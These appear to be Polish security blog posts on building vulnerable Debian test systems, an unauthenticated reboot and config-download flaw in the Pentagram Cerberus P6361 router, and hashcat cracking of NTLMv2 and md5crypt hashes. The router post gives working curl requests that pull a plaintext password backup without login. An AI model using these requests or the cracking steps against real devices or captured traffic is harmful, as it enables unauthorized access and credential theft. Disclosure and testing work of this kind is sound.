Instalacja podatnych wersji oprogramowania HOWTO

Niekiedy zachodzi potrzeba uruchomienia starej, podatnej wersji systemu lub usługi w celu przetestowania czegoś, np. exploita. W przypadku Debiana i podobnych dystrybucji opartych na pakietach deb, instalacja starej wersji systemu bywa nieco problematyczna, ponieważ po pierwsze system pakietów nie wspiera downgrade’u, po drugie, domyślnie instalator instaluje najnowsze wersje pakietów, jeśli tylko ma taką możliwość.

Sposobów na instalację starszych wersji pakietów jest wiele. Można kompilować określoną wersję, ale nie jest to wygodne, jest czasochłonne i niekoniecznie uzyskamy wersję dokładnie taką, jaka była w systemie, np. z powodu patchy nakładanych przez Debiana czy nieco innego środowiska w którym pakiet był budowany[1].

Skoro jednak korzystamy z dystrybucji opartej o pakiety binarne, można także próbować robić downgrade pakietów, albo usuwać pakiety i instalować przy pomocy dpkg zamiast apt[2]. Jeśli nie mamy pecha, wszystko zadziała czy to od razu, czy po małym force przy instalacji. Można też instalować ze starych obrazów instalacyjnych, bez dostępu do sieci. Czasem jednak nie mamy szczęścia. A wszystko można zrobić szybciej i prościej.

Przede wszystkim, i tak trzeba jakoś zdobyć podatne wersje pakietów. W przypadku Debiana istnieje snapshot.debian.org, czyli serwis z oficjalnymi, snapshotami mirrorami repozytoriów Debiana. Doskonałe miejsce pozwalające i na pobranie pakietów w takich wersjach, w jakich były w danym momencie w repo, i na postawienie całego systemu w stanie na dany dzień. Snapshoty wykonywane są częściej, niż raz dziennie, poza głównym repozytorium pakietów dostępne inne, w tym security i backports, więc trudno sobie wyobrazić coś lepszego. Pozostaje instalacja systemu z wykorzystaniem powyższych repozytoriów.

Naprościej można to zrobić z użyciem debootstrap, poprzez podanie mirrora., z którego mają być pobierane pakiety. Przykładowo, aby zainstalować Debiana Buster w wersji, w jakiej był on dostępny dzień po wydaniu:

debootstrap buster /chrooted/ https://snapshot.debian.org/archive/debian/20190707T150059Z/

Po instalacji należałoby jeszcze wejść do chroota i uzupełnić sources.list o wpisy dla repozytorium security, zaktulizować pakiety i… gotowe. W katalogu /chrooted będzie dostępny podatny system. Jeśli był tam podmontowany dysk zdalny, to można uruchomić podatną maszynę według podlinkowanej wyżej instrukcji.

Istnieje jeszcze szybszy i IMO wygodniejszy sposób uruchomienia podatnej wersji systemu – można wykorzystać kontenery LXC do instalacji, a następnie uruchomienia podatnego systemu. O tyle wygodne i bezpieczne, że kontener LXC może być dostępny – i jest to domyślna konfiguracja – wyłącznie z poziomu hypervisora, bez udostępniania go na świat. Kontener z Debianem Buster w wersji na dzień po wydaniu z użyciem LXC tworzymy:

lxc-create -n test -t debian -- -r buster -a amd64 --mirror=https://snapshot.debian.org/archive/debian/20190707T150059Z/ --security-mirror=https://snapshot.debian.org/archive/debian-security/20190707T153344Z/

I gotowe. Po zakończeniu powinniśmy mieć dostępny kontener LXC z podatną wersją systemu o nazwie test, którym możemy zarządzać w standardowy sposób. W sources.list będziemy mieli:

cat /etc/apt/sources.list
deb https://snapshot.debian.org/archive/debian/20190707T150059Z/          buster         main
deb https://snapshot.debian.org/archive/debian-security/20190707T153344Z/ buster/updates main

[1] W weryfikacji zgodności pakietów pomóc mogą reproducible builds.
[2] W tym miejscu nadal odsyłam do wpisu o wajig i zachęcam do zapoznania się z narzędziem. To stary wpis, nie wszystkie opisane okoliczności muszą być prawdziwe, ale nadal wajig działa i ma ciekawe opcje, więc warto go znać.

Pentagram Cerberus P6361 – rzut okiem na bezpieczeństwo

tl;dr Router starawy, bezpieczeństwo żadne, Pentagram to Tenda.

Razem z laptopem rodzice kupili parę lat temu router, właśnie tytułowy Pentagram Cerberus P6361. Byłem lekko zły, że nie konsultowali ze mną zakupu, ale kupili go za grosze, nie wiem czy nie w Biedronce. Obejrzałem go, stwierdziłem, że co prawda OpenWrt się nie da zainstalować, ale sensowne minimum jest (802.11n, możliwość włączenia WPA2 i wyłączenia WPS), więc został, pełniąc tak naprawdę rolę AP, za routerem na Raspberry Pi. Pobór prądu znikomy, sprzęt działał zaskakująco stabilnie, z racji tego, że był w sieci lokalnej, logowanie tylko po HTTP nie miało większego znaczenia.

Często się słyszy o słabych zabezpieczeniach w routerach, zwłaszcza producentów specjalizujących się w tańszym sprzęcie, więc przy stwierdziłem, że poszukam błędów w ramach zabawy. Uruchomiłem Burp, zalogowałem się do routera i postanowiłem zrobić najprostszą rzecz, czyli zresetować router. Request trochę mnie zaskoczył, bo po skopiowaniu jako komenda curl wyglądał następująco:

curl -i -s -k -X $'GET' \
-H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_reboot.asp' -H $'If-Modified-Since: 0' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' \
-b $'language=en; admin:language=en' \
$'http://192.168.1.1:8081/goform/SysToolReboot'

Zgadza się, nie ma tam żadnych danych związanych z sesją. Uruchomienie polecenia w konsoli, poza przeglądarką i następujący po tym reboot potwierdzają – po prostu wysyłamy request a router bez żadnego uwierzytelniania wykonuje polecenie.

No dobrze, to tylko reboot, czy można zrobić coś ciekawszego? Stwierdziłem, że najważniejsze co można z routera uzyskać, to hasło administratora i hasło do WiFi. Cerberus P6361 posiada możliwość backupu konfiguracji. Efektem jej pobrania jest plik tekstowy, zawierający otwartym tekstem pełną konfigurację, włącznie z wszystkimi hasłami. Zaskoczenia nie było – również ją można pobrać bez uwierzytelniania:

curl -i -s -k -X $'GET'     -H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_backup.asp' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'     -b $'language=en; admin:language=en'     $'http://192.168.1.1:8081/cgi-bin/DownloadCfg/RouterCfm.cfg' 

Game over. Przyznaję, że po tym, co zobaczyłem, odeszła mnie ochota na dalszą zabawę, przynajmniej z tą wersją firmware:

Current system version: V5.07.18_pl_PEN; Publishing date: Nov 7 2011
Software version V5.07.18_pl_PEN
Hardware version V1.0

Pamiętałem, że dawno temu pobrałem nowszą wersję firmware’u (V5.07.21), ale nie zaktualizowałem go z braku czasu. Postanowiłem sprawdzić na stronie producenta, czy są nowsze wersje, żeby zaktualizować i sprawdzić przed zgłoszeniem czy bug nadal występuje i… niespodzianka. Strona producenta zniknęła. Liczyłem, że znajdę jakieś linki do firmware w necie, poszperałem więc nieco i okazało się, że Pentagram to tak naprawdę Tenda (co łatwo można potwierdzić na podstawie MAC adresu), czyli producent, którego routery zawierają mnóstwo podatności tego typu[1]. W znacznie nowszym firmware, którego, nawiasem nie widzę do pobrania ze strony producenta – jest 5.07.46 z 2013. Przy czym opieram się na tym, że wersja i rozmiar fimware są podobne, pewności, że Pentagram Cerberus P6361 to Tenda W316R nie mam, routera zepsuć nie chcę, więc chwilowo nie wymieniam – pobawię się intensywniej jak znajdę zastępcę.

Część smutna. Domyślnie router udostępnia interfejs do zarządzania na wszystkich interfejsach (adres 0.0.0.0) i wygląda, że nie ma dostępnego załatanego firmware’u. Rzut oka na portale z używanym sprzętem pokazuje, że sporo ludzi sprzedaje te routery. Ceny od 20 zł w górę. Jak się ktoś bardzo postara, to i nowy w sklepie znajdzie. Polecam kupić coś innego. Jeśli ktoś musi używać ww. routera, polecam pokombinować z niewystawianiem panelu zarządzania czy to przez zmianę adresu na którym słucha, czy trickiem z przekierowaniem portu opisanym przy podobnej okazji[2]. Wygląda na bardzo podobny błąd.

Przy czym najlepiej tego typu podatny router wymienić (co przy najbliższej okazji uczynię, choć jest używany sporadycznie), ponieważ za sprawą CSRF atak można wykonać od strony sieci LAN, więc brak wystawionego na świat interfejsu nie do końca zabezpiecza przed wykonaniem zdalnego ataku.

Shodan zwrócił zaskakująco mało wyników, ZoomEye nieco więcej, ale przypuszczam, że te sprzęty po prostu mają się już ku schyłkowi (patrz [2]). Ew. złe zapytania zrobiłem – niestety w tej chwili nie mam już dostępu do routera. Zdecydowałem się opisać, bo zabawa i przednia, i prosta, exploit opublikowany był jeszcze w zeszłym roku, choć sprzęt starawy, a o dziurach w routerze zawsze warto przypomnieć – może ktoś załata/wymieni.

[1] Zmiana serwerów DNS jest kolejną ważną rzeczą. W sumie ważniejszą, niż hasło do WiFi, zwł. jeśli mowa o zdalnym sprzęcie.
[2] Aktualnie zapytanie zwraca poniżej 7 tys. wyników. W masową aktualizację nie wierzę, czyżby sprzęty nie przeżywały 6 lat? W sumie w tym przypadku dobrze…

Google CTF beginners quest 2019

W tym roku zostałem zaskoczony informacją o odbywającym się Google CTF na urlopie. Link o tym, że się odbywa wpadł z Hacker News. Zdziwiłem się, że minął już rok od ostatniej edycji. Planowałem poklikać podobne rzeczy, więc choć miałem nieco inne plany to stwierdziłem, że mogą poczekać, bo w zeszłym roku zabawa przednia była.

Google CTF 2019 screenshot

W tym roku formuła CTF dla początkujących była nieco inna. Wiele ścieżek, różne przejścia między węzłami (czyli więcej, niż jedna flaga w zadaniu), różne zakończenia w zależności od poziomu trudności. Nieco mieszane uczucia mam w stosunku do tego podejścia, zwł. szkoda, że nie widać wszystkich przejść między zadaniami.

Ponieważ urlop, to było sporo innych, ciekawszych zajęć, więc dość szybko się zniechęciłem. W zasadzie od razu po dotarciu do najłatwiejszego końca. Zadania wydawały mi się trudniejsze, niż w zeszłym roku. Albo inaczej – wymagające użycia dedykowanych narzędzi. W zeszłym roku chyba było bardziej ogólnie, przynajmniej jeśli chodzi o narzędzia, w tym bez gdb i pwntools wydaje mi się, że nie było szansy, nawet na najprostszym poziomie.

Nadal można próbować sił, do czego zachęcam. I w sumie sam pewnie siądę do reszty zadań w chwili wolnej, o ile jeszcze CTF będzie aktywny…

Łamanie hashy NTLMv2 na podstawie pcap

Tu jest oryginalny wpis o crackowaniu hashy NTLMv2 pobieranych z pliku pcap, wszystko opisane ładnie i dokładnie, ze zrzutami ekranu, ale pozwolę sobie na skrócony mirror, bo przydaje mi się to sporadycznie, a sądząc po kondycji strony z oryginałem niewykluczone, że do tego czasu oryginalny wpis zniknie (obym się mylił).

  1. Filtr ntlmssp w wireshark.
  2. Potrzebne dane w formacie dla hashcata, zapisywane w crackme.txt:
    username::domain:ServerChallenge:NTProofstring:ntlmv2response
  3. Oryginalne ntlmv2response zawiera na swoim początku NTProofstring, należy go usunąć przed użyciem wyżej.
  4. Uruchomienie:
    hashcat -m 5600 crackme.txt passwordlist.txt

Jak widać ekstrakcja potrzebnych danych ze zrzutu ruchu sieciowego jest ręczna. Szukałem pobieżnie automatu, ale nie znalazłem, a skoro używam rzadko, to pisać nie ma sensu. W sumie nie tyle pisać, co próbować pisać, bo rozmieszczenie danych miałem nieco inne, niż w linkowanym przykładzie. Gdyby jednak ktoś znał coś takiego, to chętnie poznam.

Przyspieszyć hashcata

Na blogu nfsec.pl pojawił się wczoraj wpis dotyczący crackowania hashy md5crypt[1]. Spojrzałem na sprzęt i moją uwagę przykuła wydajność karty Intela Intel(R) Iris(TM) Graphics 650:

Hashmode: 500 - md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) (Iterations: 1000)
Speed.#2.........: 423.2 kH/s (53.30ms) @ Accel:256 Loops:250 Thr:8 Vec:1

Mam Intel Corporation Skylake GT2 [HD Graphics 520] widzianą jako Intel(R) Gen9 HD Graphics NEO i hashcata w wersji v5.1.0 (binarka, stable), na potrzeby zabaw z platformami CTF, o których wspominałem niedawno. Część zadań wymaga użycia brute force, i chociaż nie było do tej pory okazji wyjść poza coś typu gotowy słownik, to pewnie jeszcze się przyda. Rzecz w tym, że moja karta jest znacznie wolniejsza:

Hashmode: 500 - md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) (Iterations: 1000)
Speed.#1………: 156.1 kH/s (76.04ms) @ Accel:256 Loops:250 Thr:8 Vec:4

Rozumiem, że to inny sprzęt i inny system (u mnie Debian w wersji unstable), ale postanowiłem podrążyć temat.

Po pierwsze, zauważyłem, że mam starsze pakiety OpenCL dla Intela. Aktualizacja nie przyniosła co prawda poprawy wydajności, ale na innym sprzęcie (Ubuntu) była w ogóle niezbędna do poprawnego działania hashcata – bez najnowszej wersji md5crypt w ogóle nie dawał się tam łamać.

Po drugie, użyłem hashcata w wersji z GitHub (wersja development) v5.1.0-951-g6caa7869 (również niezbędny na Ubuntu do poprawnego łamania md5crypt). Efekt okazał się całkiem przyjemny:

Hashmode: 500 - md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) (Iterations: 1000)
Speed.#1………: 232.7 kH/s (51.57ms) @ Accel:256 Loops:250 Thr:8 Vec:4

Niemal połowę szybciej. Warto aktualizować soft i sterowniki, nawet, jeśli wersja wygląda na tylko nieznacznie nowszą. Co ciekawe, przyrost wydajności jest tak duży tylko dla niektórych algorytmów, w tym md5crypt. Inne, jak zwykłe md5 różnice mają jedynie symboliczne:

Hashmode: 0 - MD5
Speed.#1………: 476.6 MH/s (51.75ms) @ Accel:128 Loops:32 Thr:256 Vec:4

Hashmode: 0 - MD5
Speed.#1………: 493.4 MH/s (50.09ms) @ Accel:512 Loops:128 Thr:16 Vec:4

Tyle tym razem – trochę o instalacji i uruchomieniu hashcata, trochę o przyspieszeniu na poziomie softu. Mam świadomość, że to trochę takie wyścigi ślimaków, ale… jak się nie ma co się lubi, to się lubi co się ma. Może kiedy indziej będzie o doborze parametrów i budowie skutecznych słowników do crackowania hashy przy pomocy hashcata.

[1] Ładnie po polsku, owinięte w bawełnę, nazywa się to audyt haseł. Ewentualnie, mniej owijając w bawełnę, łamanie funkcji skrótu haseł. Zostanę jednak przy brzydkiej, potocznej wersji angielskiej.